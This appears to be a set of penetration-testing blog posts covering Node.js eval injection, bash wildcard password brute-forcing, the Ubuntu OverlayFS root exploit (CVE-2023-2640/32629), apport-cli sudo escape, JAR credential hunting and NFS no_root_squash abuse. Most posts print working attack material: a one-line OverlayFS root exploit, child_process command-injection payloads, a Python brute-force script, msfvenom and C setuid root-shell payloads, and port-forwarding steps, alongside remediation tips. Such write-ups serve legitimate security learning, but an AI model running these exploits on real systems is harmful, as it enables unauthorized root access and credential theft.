by Vry4n_ | Jan 20, 2024 | Privilege Escalation
The eval function in JavaScript is a powerful but potentially dangerous feature. Its primary purpose is to execute arbitrary JavaScript code represented as a string.
There are four standard ways to evaluate strings in JavaScript:
- eval("code")
- new Function("code")
- setTimeout("code", timeout)
- setInterval("code", interval)
Example
1. This is a calculator application that prints the mathematical results on screen
2. Since, I had access to the source code I found this piece of code that demonstrated how the eval() function is in use
// Exporting an object with a method named 'calculate'
module.exports = {
calculate(formula) { // Try block to handle potential errors during execution
try {
// Using eval to execute a dynamically created function
// The function is created using a template literal, incorporating the 'formula' parameter
// The closing parentheses () immediately follows the function body, invoking the function. This pattern is known as an Immediately Invoked Function Expression (IIFE).
return eval(`(function() { return ${ formula } ;}())`);
// Catch block to handle potential errors, specifically SyntaxError
} catch (e) {
// Checking if the caught error is an instance of SyntaxError
if (e instanceof SyntaxError) {
// Returning an error message if a SyntaxError occurs
return 'Something went wrong!';
}
}
}
}
Exploitation
1. First we need to understand how the application works
2. We try to make it crash
3. We can try to use some JavaScript functions and see if they get executed since this script doesn’t have sanitization we don’t need to worry about
- process.platform
- process.cwd()
4. Now we know we can execute commands we can try a more sophisticated command
- require('child_process').execSync('ls -l').toString()
require('child_process'):
- This part of the code imports the child_process module in Node.js. The child_process module provides functionality to spawn child processes, allowing you to execute external commands.
.execSync('ls -l'):
- The execSync function is a synchronous method in the child_process module. It is used to execute shell commands synchronously, meaning the code will block until the command completes. In this case, it runs the ls -l command, which lists the contents of the current directory in long format.
.toString():
- The result of execSync is a Buffer object containing the output of the command. The .toString() method is then used to convert the Buffer object into a string. This is necessary if you want to work with the command output as a string in your Node.js code.
Recommendations
Avoid eval Completely:
- The safest approach is to avoid using eval altogether unless absolutely necessary. Most use cases for eval can be replaced with safer alternatives.
Use JSON.parse or Other Specific Functions:
- If you need to parse JSON data, use JSON.parse instead of eval. JSON.parse is safer and only evaluates valid JSON data, reducing the risk of code injection.
Function Constructors:
- If dynamic code execution is required, consider using the Function constructor. This is generally safer than eval because it creates a new function scope.
Validate and Sanitize User Inputs:
- If you must use dynamically generated code, thoroughly validate and sanitize user inputs before incorporating them into the code. Ensure that the input adheres to expected patterns and does not contain malicious content.
Code Review and Static Analysis:
- Regularly review code for potential security vulnerabilities, including the use of eval. Utilize static analysis tools to identify insecure patterns in your codebase.
by Vry4n_ | Jan 20, 2024 | Privilege Escalation
In Bash scripting, when you are working with variables, it's important to understand how the shell treats quoted and unquoted variables, especially when it comes to comparisons.
Word splitting is a process where the shell breaks up a string into separate words based on specific delimiters. The default word delimiters are whitespace characters (spaces and tabs), but you can customize them using the IFS (Internal Field Separator) variable.
Word splitting is a feature designed to tokenize input into separate entities, and it is generally useful for normal shell operations. However, when it comes to unquoted variables, word splitting can introduce vulnerabilities, especially when dealing with spaces or other special characters in the variable's value.
An unquoted variable is to be treated as an armed bomb: It explodes upon contact with whitespace and wildcards. Yes, "explode" as in splitting a string into an array. Specifically, variable expansions, like $var, and also command substitutions, like $(cmd), undergo word splitting, whereby the string is split on any of the characters in the special $IFS variable, which is whitespace by default. Furthermore, any wildcard characters (*?) in the resulting words are used to expand those words to match files on your filesystem (indirect pathname expansion). This is mostly invisible, because most of the time, the result is a 1-element array, which is indistinguishable from the original string value.
Security Vulnerability:
- When dealing with untrusted input or variables that may contain arbitrary data, relying on unquoted variables and word splitting can introduce security vulnerabilities.
- An attacker might manipulate input to inject unexpected values, potentially leading to unintended consequences or security breaches
Variable expansion:
- Good: "$my_var"
- Bad: $my_var
Command substitution:
- Good: "$(cmd)"
- Bad: $(cmd)
Should I use backticks?
Command substitutions also come in this form:
- Correct: "`cmd`"
- Bad: `cmd`
Quoted Variables:
When you enclose a variable in double quotes (" "), it preserves the entire value of the variable, including spaces and special characters.
var="hello world"
echo "$var"
Unquoted Variables:
When you don't quote a variable, the shell performs word splitting and filename expansion (globbing) on its value.
Word splitting breaks the variable's value into words (typically separated by spaces).
var="hello world"
echo $var
Output:
Token: hello
Token: world
Example
1. In this example I will demonstrate how bash considers "$str1" & $str different
str1="hello world"
str2="hello world"
if [ "$str1" == $str2 ]; then
echo "Strings are equal."
else
echo "Strings are not equal."
fi
2. In this script we compare 2 strings that are identical but within the if conditional statement we compare "$str1" and str2
3. On the other if I use quotes in the 2 variables "$str1" and "$str2"
Exceptions
There are exceptions where quoting is not necessary, but because it never hurts to quote, and the general rule is to be scared when you see an unquoted variable, pursuing the non-obvious exceptions is, for the sake of your readers, questionable. It looks wrong, and the wrong practice is common enough to raise suspicion: Enough scripts are being written with broken handling of filenames that whitespace in filenames is often avoided…
The exceptions only matter in discussions of style – feel welcome to ignore them. For the sake of style neutrality, Shellharden does honor a few exceptions:
- variables of invariably numeric content: $?, $$, $!, $# and array length ${#array[@]}
- assignments: a=$b
- the magical case command: case $var in … esac
- the magical context between double-brackets ([[ and ]]) – this is a language of its own.
Scenario
1, In this scenario we have a bash script named (script.sh) that reads a text file that includes a password, and asks user for input, if the word matches the one in the file it will print confirmed!, otherwise it will print incorrect.
#!/bin/bash
value1=$(/usr/bin/cat secret.txt)
echo "Enter a word!"
read input1
if [[ $value1 == $input1 ]]; then
echo "Confirmed!"
else
echo "Incorrect"
fi
2. I built a python script (attack.py) to guess the password in the file. This script runs the bash script, tests characters follow by a wildcard (*), If it matches it prints the letter, then continues with the next letter until we receive Confirmed
#!/usr/share/python
import string
import subprocess
# Generate a list of all ASCII letters and digits
all1 = list(string.ascii_letters + string.digits)
# Initialize variables
password = ""
found = False
# Print the list of characters being tested
print(all1)
# Continue the loop until the password is found
while not found:
# Iterate through each character in the list
for char in all1:
# Construct a command to execute a script with a guessed password
command = f"echo '{password}{char}*' | bash script.sh"
# Run the command and capture the output
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
# Check if the output contains the word "Confirmed"
if "Confirmed" in output:
# If confirmed, update the password and print it
password += char
print(password)
break
else:
# If the loop completes without finding the correct password, set found to True
found = True
3. Run the script and see the output how and the password deciphered
Note: The password is P4ssWorDVry4n
Recommendations
- Ensure that the file containing sensitive information, like passwords, has restrictive permissions.
- Whenever possible, avoid storing passwords in plaintext. Consider using secure methods like password hashing.
- Instead of reading from a file, you might consider storing sensitive information in environment variables, which can be set at runtime and are less prone to being accidentally logged.
- If you need to store sensitive information in a file, consider encrypting the file.
Sources
https://github.com/anordal/shellharden/blob/master/how_to_do_things_safely_in_bash.md?source=post_page-----933488bfbfff--------------------------------
https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
https://www.appsloveworld.com/bash/100/28/unquoted-expression-injection-bash
https://copyprogramming.com/howto/why-do-options-in-a-quoted-variable-fail-but-work-when-unquoted#google_vignette
by Vry4n_ | Jan 16, 2024 | Privilege Escalation
Ubuntu could allow a local authenticated attacker to gain elevated privileges on the system, caused by skipping permission checking for trusted.overlayfs.* xattrs". By sending a specially crafted request, an attacker could exploit this vulnerability to escalate privileges.
CVE-2023-2640
https://www.cvedetails.com/cve/CVE-2023-2640/
- On Ubuntu kernels carrying both c914c0e27eb0 and "UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs", an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.
CVE-2023-32629
https://www.cvedetails.com/cve/CVE-2023-32629/
- Local privilege escalation vulnerability in Ubuntu Kernels overlayfs ovl_copy_up_meta_inode_data skip permission checks when calling ovl_do_setxattr on Ubuntu kernels.
Vulnerable kernels
6.2.0 Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.19.0 Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)
5.4.0 Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)
Identification
1. Verify the OS version
2. Verify the kernel version
- uname -r
- uname -a
- cat /proc/version
Exploitation
1. Knowing this is a vulnerable version of Ubuntu (6.2.0), we can proceed to run the following command to become root
- unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;import pty;os.setuid(0);pty.spawn("/bin/bash")'
2. After running this command you should become root
Breakdown
- unshare -rm sh -c: This command creates a new namespace (-m), and then runs a shell (sh) in this new namespace. The -r option makes the process run in a separate user namespace.
- "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3; mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;": This is the command that is executed in the new namespace. It does the following:
- mkdir l u w m: Creates four directories - l, u, w, and m.
- cp /u*/b*/p*3 l/: Copies files matching the pattern /u*/b*/p*3 to the directory l/.
- setcap cap_setuid+eip l/python3: Sets the cap_setuid capability and eip flag on the python3 binary in the l/ directory.
- mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m: Mounts an overlay filesystem using the directories l, u, and w. The overlay filesystem allows combining multiple directories into one.
- touch m/*: Creates empty files in the m/ directory.
- &&: This is a logical AND operator, which means the next command will be executed only if the previous one succeeds.
- u/python3 -c 'import os; import pty; os.setuid(0); pty.spawn("/bin/bash")': This command is executed if the previous part is successful. It uses the python3 interpreter located in the directory u/ to execute a Python script. The Python script imports the os and pty modules, sets the user ID to 0 (root), and spawns a new interactive bash shell using pty.spawn("/bin/bash").
Remedy
The problem can be corrected by updating your system to the following package versions:
Sources
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629
https://www.cvedetails.com/cve/CVE-2023-2640/
https://www.cvedetails.com/cve/CVE-2023-32629/
https://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation
https://exchange.xforce.ibmcloud.com/vulnerabilities/261608
https://exchange.xforce.ibmcloud.com/vulnerabilities/261608
by Vry4n_ | Jan 14, 2024 | Credential Dumping, Linux Post-Exploitation
.jar file enumeration from processes in Linux involves identifying and extracting information about Java Archive (JAR) files that are currently running within a system's processes. This process can be useful for various purposes, such as troubleshooting, security analysis, or understanding the dependencies of a running Java application.
Enumeration
1. Use tools like ps or pgrep to identify running Java processes. You can filter processes based on the Java executable or any related parameters.
2. Once you identify the Java processes, extract more detailed information using tools like jcmd or jps (Java Process Status). For instance:
- jcmd <PID> help
- jcmd <PID> VM.system_properties
Note: files associated with the Java processes. This information can be extracted from the output of the previously used tools.
3. The lsof command can be helpful in listing open files, including JAR files opened by Java processes:
- lsof -p <process-id> | grep ".jar"
4. The /proc filesystem in Linux provides a wealth of information about processes. You can navigate to /proc/<process-id>/ and examine files like cmdline, which contains the command-line arguments, and maps, which displays memory maps, potentially revealing loaded JAR files.
- ls -l /proc/<process-id>/cwd
- cat /proc/<process-id>/cmdline
5. Extract strings from the process memory to identify potential JAR file references:
- strings /proc/<process-id>/mem | grep ".jar"
6. Java applications may log information about loaded JAR files. Check the application logs for any relevant details
Exploitation
1. Once you locate the jar file you can transfer it to your computer and examine the code using jd-gui
2. Click open file, locate the .jar, open it
3. Expand the tabs analyze the code and try to find flaws or any confidential data such as usernames & passwords
Note: In this case we found POSTGRESQL database username and password
by Vry4n_ | Jan 14, 2024 | Privilege Escalation
A privilege escalation attack was found in apport-cli 2.26.0 and earlier which is similar to CVE-2023-26604. If a system is specially configured to allow unprivileged users to run sudo apport-cli, less is configured as the pager, and the terminal size can be set: a local attacker can escalate privilege. It is extremely unlikely that a system administrator would configure sudo to allow unprivileged users to perform this class of exploit.
This vulnerability only works if assign in sudoers
Identification
1. Verify that apport-cli is allowed to run with sudo privileges
2. Verify that the version is lower than 2.26.0
- sudo /usr/bin/apport-cli -v
Exploitation
1. Execute apport-cli with parameter file bug (Select any option)
- sudo /usr/bin/apport-cli --file-bug
2. Select any option
3. Press any key
4. Press V (View Report), this will open a less page as root
5. Now execute a shell, click enter
6. You’ll get a shell as root
Remedy
Upgrade the apport-cli version
Restrict the assignment to users
Sources
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APPORT-5422155
https://nvd.nist.gov/vuln/detail/CVE-2023-1326
https://github.com/diego-tella/CVE-2023-1326-PoC
by Vry4n_ | Nov 18, 2023 | Privilege Escalation
NFS or “Network File Sharing” is a protocol that runs on port 2049 and consists of two components, the server and the client(s). Shared directories are created on the NFS server component so that they can be shared with other Linux clients over a network. Permitted users can add files to the share, which are then shared with other users who have access to the directory.
What is NFS Squash?
Network File System (NFS) Squashing, also known as Root Squashing, is a security feature implemented in NFS servers to restrict the privileges of remote users, especially the root user (uid 0), when accessing NFS-exported directories. When root squashing is enabled, the root user on the client system is mapped to an unprivileged user on the NFS server, typically 'nobody' or 'nfsnobody.'
The primary goal of NFS Squashing is to enhance security by preventing remote root users from having unrestricted access to NFS-exported file systems. Without squashing, a compromised or malicious remote root user could potentially modify or delete any file on the NFS server, posing significant security risks.
- no_root_squash: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
- no_all_squash: This is similar to no_root_squash option but applies to non-root users. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
Vulnerabilities and Misconfigurations:
1. Misconfiguration of NFS Export Options:
- A common misconfiguration involves not enabling root squashing explicitly. If the NFS export options do not include 'root_squash,' the NFS server may allow remote root users to access and modify files with full root privileges.
2. Insecure Network Configurations:
- If NFS traffic is transmitted over an insecure network without proper encryption or authentication mechanisms, attackers could potentially intercept and manipulate NFS requests to exploit root squashing vulnerabilities.
Identification
1. Identify the NFS port
2. Enumerate further
- nmap -A -sV -sC -T4 10.10.46.249
Note: So the port for NFS shares is 2049, but we are also very interested in port 111 because that is the rpc port that the NFS share will bind to. This output reveals the version of NSF also.
3. Enumerate using Nmap scripts
- nmap -p 111,2049 --script=nfs-* 10.10.46.249
Note: the permissions on (., ..) RWX show we have full access. The NoExecute flag is also set, so we won’t be able to execute any binaries or scripts in the share.
4. Identify the mount folders available
- showmount -e 10.10.46.249
- showmount --all 10.10.46.249
Note: The * means all networks allowed
Local enumeration
1. Read the /etc/exports file, if you find some directory that is configured as no_root_squash, then you can access it from as a client and write inside that directory as if you were the local root of the machine.
- rw: This option gives the client computer both read and write access to the volume.
- sync: This option forces NFS to write changes to disk before replying. This results in a more stable and consistent environment but reduces the speed of file operations.
- inescure: This option allows clients to use any port to access NFS shares.
- no_subtree_check: This option prevents subtree checking, which is a process where the host must check whether the file is actually still available in the exported tree for every request.
- no_root_squash: This option allows privileged file writes inside the share. By default, NFS translates requests from a root user remotely into a non-privileged user on the server.
LinPEAS
1. LinPEAS can also alert us about NFS Squash
Exploitation
1. create a mount point on your local machine and mount the share
- mkdir /tmp/nfs
- mount -o rw,vers=3 10.10.130.171:/tmp /tmp/nfs
2. Verify the NFS partition was mounted
- mount -t nfs
- cd /tmp/nfs
- ls -la
3. Generate a payload, this time I’ll be using msfvenom, and save it to the mounted share (this payload simply calls /bin/bash), this file MUST have the owner as root
- msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
4. make the file executable and set the SUID permission:
- chmod +xs /tmp/nfs/shell.elf
5. From the local session in the target machine run this file from the NFS shared folder, which inherited the permissions our local mahine’s root permissions, it will run it as the remote machine local root
- cd /tmp
- ls -l
- ./shell.elf
6. Verify which user ran this new shell
Extra 1: Copying /bin/bash for a Root Shell
1. Alternatively you could have copied /bin/bash from you local machine to NFS shared folder, and assign the sticky bit
- cp /bin/bash /tmp/nfs
- chmod +xs bash
- ls -l
2. Again, in the target machine, run the executable
Extra 2: Crafting an Exploit for a Root Shell
1. To craft our custom exploit that will drop us into a root shell, we can use the following commands, to create a c file, compile it
- echo 'int main() { setgid(0); setuid(0); system("/bin/bash -p"); return 0; }' > /mnt/share/root_shell.c
- gcc ./root_shell.c -o ./root_shell
- ls -l
2. Assign proper permissions
- chmod +s root_shell
- ls -l
3. Now run it from the remote machine session
Port Forwarding the NFS Share
1. When accessing the NFS share externally root_squash enabled and we cannot perform privileged file writes. However, we can access the file share from localhost 127.0.0.1/32, we can perform privileged file writes on the NFS server.
Since we know the NFS share runs on port 2049, and we also know that the user has access to the system through SSH, then the easiest way to forward this port out to our attacker machine is by performing local port forwarding.
- ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.9.139.128
- ssh -N -L 127.0.0.1:2049:127.0.0.1:2049 user@10.10.130.171 -oHostKeyAlgorithms=+ssh-rsa
Note: This says… Do not execute any commands on the remote host (-N) and perform local port forwarding (-L). Bind port 2049 to 127.0.0.1 on our attacker machine from port 2049 running on 127.0.0.1 on the target machine. Lastly, we are logging in using juggernaut to perform this action for us.
2. Seeing the prompt hang indicates that the port forwarding was successful; and when we open a new tab on our attacker machine and run the netstat -tulpn command, we should see port 2049 open locally.
3. With the NFS server open to us locally, we can mount it just like we did earlier except we just need to adjust the command to mount the share locally instead of externally, this will look something like this:
- mount -t nfs -o port=2049 127.0.0.1:/tmp /tmp/nfs
4. To confirm that we can perform privileged writes in the share, we can navigate to the mounting point on our attacker machine and create a test file, just the same as we did when we mounted the share the first time.
Note: The permissions should be the ones from the attacker machine. This means we can either create a malicious binary or do something a bit more simple like… copy /bin/bash into the share, set root:root ownership and SUID permissions on it, and then SSH back into the victim and execute it with user to elevate our privileges to root!
Remediation Steps:
1. Enable Root Squashing:
- Always enable root squashing on NFS servers to ensure that remote root users are mapped to unprivileged users.
2. Secure Network Configurations:
- Use secure network configurations, such as encrypting NFS traffic with technologies like IPsec or configuring NFS over a Virtual Private Network (VPN).
3. Regular Auditing and Monitoring:
- Implement regular audits and monitoring of NFS server logs to detect any unauthorized access or suspicious activities.
4. Limit Access:
- Restrict access to NFS exports by specifying specific IP addresses or networks that are allowed to mount the file systems.
5. Keep Software Updated:
- Ensure that both the NFS server and client software are kept up to date with the latest security patches to mitigate known vulnerabilities.
6. Use NFSv4:
- Consider using NFS version 4, which includes improved security features compared to older versions.
Sources
https://juggernaut-sec.com/nfs-no_root_squash/
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
https://github.com/carlospolop/hacktricks/blob/master/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md